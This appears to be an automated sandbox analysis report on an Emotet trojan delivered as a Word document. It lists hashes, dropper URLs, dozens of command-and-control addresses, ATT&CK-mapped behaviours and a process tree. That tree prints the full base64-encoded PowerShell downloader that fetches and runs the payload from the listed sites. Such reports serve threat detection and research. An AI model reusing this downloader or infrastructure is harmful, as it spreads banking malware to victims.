emotet | 5f31da31a925d5eddfcd8a434b8adb8329c95b9ef397d6d4b0c3cf33c44787a6

General

Target
FILE_AA21PTA22.doc
Size 152KB
Sample200914-85et8hmtes
SHA256 5f31da31a925d5eddfcd8a434b8adb8329c95b9ef397d6d4b0c3cf33c44787a6
MD5 13364c3bd5dc051fbf8d53b413c2a845
SHA1 edce22661631b0a62d3abd1c2d9d2f600cf58f3b
SHA512 88230c22c5b163a55fd162b45537bf9f8798889ed05229bc558da8f2ce3404cf8d66c646964d0001b091ece60af0b29af2240705a5c66e12d767810657c8c4cf
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://castlestudios.com/images/Z/
exe.dropper
http://khoweb.xyz/wp-includes/OaozkN/
exe.dropper
http://amarettobh.com.br/sys-cache/eXhf8Nc/
exe.dropper
http://caorauducvan.vn/wp-admin/PCsGWi/
exe.dropper
http://sehitgazihaberleri.com/wordpress/W5e1D/
exe.dropper
http://oggisivola.it/5doedb3/3Nk/
exe.dropper
https://hauizone.com/c4ccx/sD/

Extracted

Family

emotet

C2

104.32.141.43:80
104.156.59.7:8080
120.138.30.150:8080
139.59.67.118:443
61.92.17.12:80
103.86.49.11:8080
174.45.13.118:80
75.139.38.211:80
104.131.11.150:443
121.124.124.40:7080
200.114.213.233:8080
185.94.252.104:443
181.169.34.190:80
187.161.206.24:80
93.147.212.206:80
176.111.60.55:8080
83.169.36.251:8080
174.102.48.180:443
24.179.13.119:80
120.150.60.189:80
107.5.122.110:80
37.187.72.193:8080
50.91.114.38:80
168.235.67.138:7080
84.39.182.7:80
219.74.18.66:443
91.211.88.52:7080
5.196.74.210:8080
24.137.76.62:80
87.106.136.232:8080
5.39.91.110:7080
104.131.44.150:8080
201.173.217.124:443
62.75.141.82:80
153.177.101.120:443
153.232.188.106:80
139.99.158.11:443
85.66.181.138:80
209.141.54.221:8080
85.152.162.105:80
82.225.49.121:80
162.241.242.173:8080
169.239.182.217:8080
1.221.254.82:80
50.35.17.13:80
78.24.219.147:8080
89.216.122.92:80
82.80.155.43:80
87.106.139.101:8080
85.214.28.226:8080
194.187.133.160:443
74.120.55.163:80
157.245.99.39:8080
74.208.45.104:8080
79.137.83.50:443
139.59.60.244:8080
95.179.229.244:8080
203.153.216.189:7080
203.117.253.142:80
172.91.208.86:80
46.105.131.79:8080
110.145.77.103:80
188.219.31.12:80
68.188.112.97:80
109.74.5.95:8080
62.30.7.67:443
137.59.187.107:8080
156.155.166.221:80
104.236.246.93:8080
94.23.216.33:80
94.23.237.171:443
95.213.236.64:8080
79.98.24.39:8080
97.82.79.83:80
47.144.21.12:443
37.139.21.175:8080
139.162.108.71:8080
12.30.50.130:80
94.200.114.161:80
78.187.156.31:80
61.19.246.238:443
85.105.205.77:8080
139.130.242.43:80
213.196.135.145:80
137.119.36.33:80
24.43.99.75:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3056	1616	powershell.exe	72

Blacklisted process makes network request 2 IoCs

flow	pid	Process
21	3056	powershell.exe
23	3056	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3164	Hvpdf244_.exe
3788	msiltcfg.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\ustprov\msiltcfg.exe	Hvpdf244_.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3888	WINWORD.EXE
3888	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3056	powershell.exe
3056	powershell.exe
3056	powershell.exe
3788	msiltcfg.exe
3788	msiltcfg.exe
3788	msiltcfg.exe
3788	msiltcfg.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3056	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3164	Hvpdf244_.exe
3788	msiltcfg.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 3164	3056	powershell.exe	79
PID 3056 wrote to memory of 3164	3056	powershell.exe	79
PID 3056 wrote to memory of 3164	3056	powershell.exe	79
PID 3164 wrote to memory of 3788	3164	Hvpdf244_.exe	80
PID 3164 wrote to memory of 3788	3164	Hvpdf244_.exe	80
PID 3164 wrote to memory of 3788	3164	Hvpdf244_.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\FILE_AA21PTA22.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABPAHUAZgBhAG0ANwBnAD0AKAAoACcAQQAyAHgAJwArACcAMgAnACkAKwAoACcAbgAnACsAJwByAHcAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAtAGkAdABlAG0AJwApACAAJABFAG4AVgA6AFUAcwBlAFIAUAByAE8AZgBpAEwARQBcAFQAZgA2AFAAcgA1ADEAXABlAHAARwBOADcASgBNAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQByAEUAQwB0AG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBjAFUAUgBpAFQAeQBgAHAAcgBgAE8AdABPAEMATwBsACIAIAA9ACAAKAAnAHQAbAAnACsAKAAnAHMAJwArACcAMQAyACcAKQArACcALAAnACsAKAAnACAAJwArACcAdABsAHMAJwApACsAJwAxACcAKwAoACcAMQAnACsAJwAsACAAJwArACcAdABsAHMAJwApACkAOwAkAFkAcABwAGkAcwBmAHUAIAA9ACAAKAAnAEgAdgAnACsAJwBwAGQAJwArACgAJwBmADIANAA0ACcAKwAnAF8AJwApACkAOwAkAEcAcgBiAHUAdQB6AGQAPQAoACcAUgAnACsAKAAnADAAJwArACcAYQB1ACcAKwAnAGYANwBfACcAKQApADsAJABRADEANgBxADcAaAA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAFMASwAnACsAKAAnAHQAVABmADYAJwArACcAcAByADUAMQBTAEsAJwArACcAdAAnACkAKwAnAEUAJwArACgAJwBwAGcAJwArACcAbgA3ACcAKQArACcAagAnACsAJwBtACcAKwAoACcAUwBLACcAKwAnAHQAJwApACkAIAAtAEMAUgBFAHAAbABBAEMARQAoAFsAYwBIAEEAUgBdADgAMwArAFsAYwBIAEEAUgBdADcANQArAFsAYwBIAEEAUgBdADEAMQA2ACkALABbAGMASABBAFIAXQA5ADIAKQArACQAWQBwAHAAaQBzAGYAdQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQASwAxAGcAXwA4ADEANAA9ACgAKAAnAEMAJwArACcAbAA2ACcAKQArACgAJwBpAHEAJwArACcANQAnACkAKwAnADIAJwApADsAJABQADEANQAzADIAaABsAD0AJgAoACcAbgBlACcAKwAnAHcAJwArACcALQBvAGIAagBlAGMAdAAnACkAIABuAEUAdAAuAHcAZQBiAEMATABpAGUATgBUADsAJABaADgAaAB2AGYAMwB6AD0AKAAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8AJwArACcALwBjAGEAJwApACsAKAAnAHMAJwArACcAdABsAGUAcwAnACkAKwAnAHQAJwArACgAJwB1ACcAKwAnAGQAaQAnACkAKwAoACcAbwBzACcAKwAnAC4AYwAnACkAKwAoACcAbwBtAC8AJwArACcAaQAnACkAKwAoACcAbQAnACsAJwBhAGcAZQBzAC8AJwArACcAWgAnACkAKwAoACcALwAqAGgAdAAnACsAJwB0AHAAJwApACsAKAAnADoAJwArACcALwAvAGsAaABvACcAKwAnAHcAZQBiACcAKwAnAC4AeAB5ACcAKQArACcAegAnACsAJwAvACcAKwAoACcAdwBwAC0AaQAnACsAJwBuAGMAbAAnACkAKwAnAHUAZAAnACsAJwBlACcAKwAnAHMALwAnACsAKAAnAE8AJwArACcAYQBvACcAKQArACgAJwB6ACcAKwAnAGsATgAvACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AYQBtAGEAJwArACcAcgAnACkAKwAnAGUAJwArACcAdAB0ACcAKwAoACcAbwAnACsAJwBiAGgALgAnACsAJwBjAG8AbQAuACcAKQArACcAYgAnACsAJwByAC8AJwArACcAcwB5ACcAKwAnAHMALQAnACsAKAAnAGMAJwArACcAYQBjAGgAJwApACsAKAAnAGUAJwArACcALwBlAFgAJwApACsAKAAnAGgAZgAnACsAJwA4ACcAKQArACcATgAnACsAJwBjAC8AJwArACgAJwAqAGgAdAB0AHAAJwArACcAOgAnACkAKwAnAC8ALwAnACsAJwBjAGEAJwArACgAJwBvACcAKwAnAHIAYQB1ACcAKQArACgAJwBkACcAKwAnAHUAYwAnACkAKwAnAHYAYQAnACsAKAAnAG4AJwArACcALgB2ACcAKQArACgAJwBuACcAKwAnAC8AdwAnACkAKwAoACcAcAAtACcAKwAnAGEAJwApACsAKAAnAGQAJwArACcAbQBpAG4ALwAnACkAKwAoACcAUABDAHMARwAnACsAJwBXACcAKQArACcAaQAvACcAKwAoACcAKgBoAHQAdABwADoAJwArACcALwAnACsAJwAvACcAKwAnAHMAZQBoAGkAdABnACcAKQArACcAYQAnACsAKAAnAHoAaQAnACsAJwBoACcAKQArACgAJwBhACcAKwAnAGIAZQByAGwAZQAnACkAKwAoACcAcgAnACsAJwBpAC4AYwBvAG0ALwAnACkAKwAoACcAdwBvACcAKwAnAHIAZABwAHIAZQAnACsAJwBzAHMALwAnACkAKwAoACcAVwAnACsAJwA1AGUAJwArACcAMQBEACcAKwAnAC8AKgAnACsAJwBoAHQAdABwADoALwAnACkAKwAnAC8AJwArACcAbwAnACsAJwBnACcAKwAoACcAZwBpACcAKwAnAHMAJwApACsAJwBpACcAKwAoACcAdgBvACcAKwAnAGwAYQAnACkAKwAnAC4AJwArACgAJwBpAHQALwAnACsAJwA1AGQAJwArACcAbwBlAGQAYgAnACkAKwAnADMAJwArACcALwAnACsAJwAzACcAKwAoACcATgAnACsAJwBrAC8AKgBoAHQAdAAnACkAKwAnAHAAcwAnACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwBoAGEAdQAnACsAJwBpAHoAbwAnACkAKwAoACcAbgBlACcAKwAnAC4AYwBvAG0ALwBjADQAJwApACsAKAAnAGMAJwArACcAYwB4AC8AcwAnACsAJwBEAC8AJwApACkALgAiAFMAUABgAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQAzAHcAMQAxAHEAaAA9ACgAKAAnAFEAdQAnACsAJwA0ACcAKQArACcAeQAnACsAKAAnADcAMgAnACsAJwBxACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQQA2AGMAZgBqAGEAZgAgAGkAbgAgACQAWgA4AGgAdgBmADMAegApAHsAdAByAHkAewAkAFAAMQA1ADMAMgBoAGwALgAiAEQAYABvAFcAbgBsAE8AYQBkAGYAaQBgAEwAZQAiACgAJABBADYAYwBmAGoAYQBmACwAIAAkAFEAMQA2AHEANwBoADgAKQA7ACQARABjAG0AZAB4AGEAeQA9ACgAKAAnAFIAMwAnACsAJwBxAGkANgAnACkAKwAnADYAbgAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQAUQAxADYAcQA3AGgAOAApAC4AIgBMAEUATgBHAGAAVABoACIAIAAtAGcAZQAgADMANgA3ADcANAApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACgAJABRADEANgBxADcAaAA4ACkAOwAkAFIAdABvAGsAagBvADAAPQAoACcARgAnACsAKAAnAG0AJwArACcAbgA4AGYAJwApACsAJwBwAG4AJwApADsAYgByAGUAYQBrADsAJABJAGQAbwBzAHgAMQBfAD0AKAAnAEIAJwArACcAYgAnACsAKAAnADkAXwAwAGUAJwArACcANAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgBxAGgAaABiAGoANwA9ACgAKAAnAEoAdgBxAHoAJwArACcAawAnACkAKwAnAHgAdAAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Users\Admin\Tf6pr51\Epgn7jm\Hvpdf244_.exe
  "C:\Users\Admin\Tf6pr51\Epgn7jm\Hvpdf244_.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3164
- - C:\Windows\SysWOW64\ustprov\msiltcfg.exe
    "C:\Windows\SysWOW64\ustprov\msiltcfg.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3788

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3056-10-0x000001B99CA30000-0x000001B99CA31000-memory.dmp

Download

memory/3056-11-0x000001B99CBE0000-0x000001B99CBE1000-memory.dmp

Download

memory/3056-9-0x00007FF8B8060000-0x00007FF8B8A4C000-memory.dmp

Download

memory/3164-15-0x0000000002270000-0x0000000002282000-memory.dmp

Download

memory/3164-16-0x0000000002290000-0x00000000022A0000-memory.dmp

Download

memory/3788-19-0x0000000000740000-0x0000000000752000-memory.dmp

Download

memory/3788-20-0x0000000000600000-0x0000000000610000-memory.dmp

Download

memory/3888-0-0x00007FF8BF570000-0x00007FF8BFC36000-memory.dmp

Download

memory/3888-5-0x000001BE4F301000-0x000001BE4F342000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads